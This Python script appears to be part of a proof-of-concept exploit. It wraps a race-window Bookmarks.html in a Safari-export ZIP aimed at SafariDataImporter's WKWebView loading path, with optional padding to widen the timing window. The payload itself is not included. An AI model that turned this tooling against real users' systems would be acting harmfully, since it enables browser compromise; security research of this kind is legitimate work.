#!/usr/bin/env python3
"""Builds a Safari-export-style ZIP containing the race-window Bookmarks.html.

SafariDataImporter's Rust unzip layer (parsing_ffi/zip_archive.rs) selects the
bookmarks payload by file extension (`.html`), and BlockingWorker::
WriteBookmarksToTmpFile writes the bytes verbatim to a temp file that is then
loaded with -[WKWebView loadFileRequest:allowingReadAccessToURL:]. This script
optionally pads the HTML to enlarge the on-disk file (slower load -> wider
window before didFinishNavigation).
"""

import argparse
import os
import zipfile


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("--out", default="SafariExport.zip")
    ap.add_argument("--html", default="Bookmarks.html")
    ap.add_argument(
        "--pad-mb",
        type=int,
        default=0,
        help="Append N MiB of HTML comment padding to slow WKWebView load.",
    )
    args = ap.parse_args()

    with open(args.html, "rb") as f:
        html = f.read()

    if args.pad_mb > 0:
        chunk = b"<!-- " + (b"A" * 1024) + b" -->\n"
        html += chunk * (args.pad_mb * 1024)

    with zipfile.ZipFile(args.out, "w", zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("Bookmarks.html", html)

    print(f"wrote {args.out} ({os.path.getsize(args.out)} bytes, "
          f"uncompressed Bookmarks.html = {len(html)} bytes)")


if __name__ == "__main__":
    main()
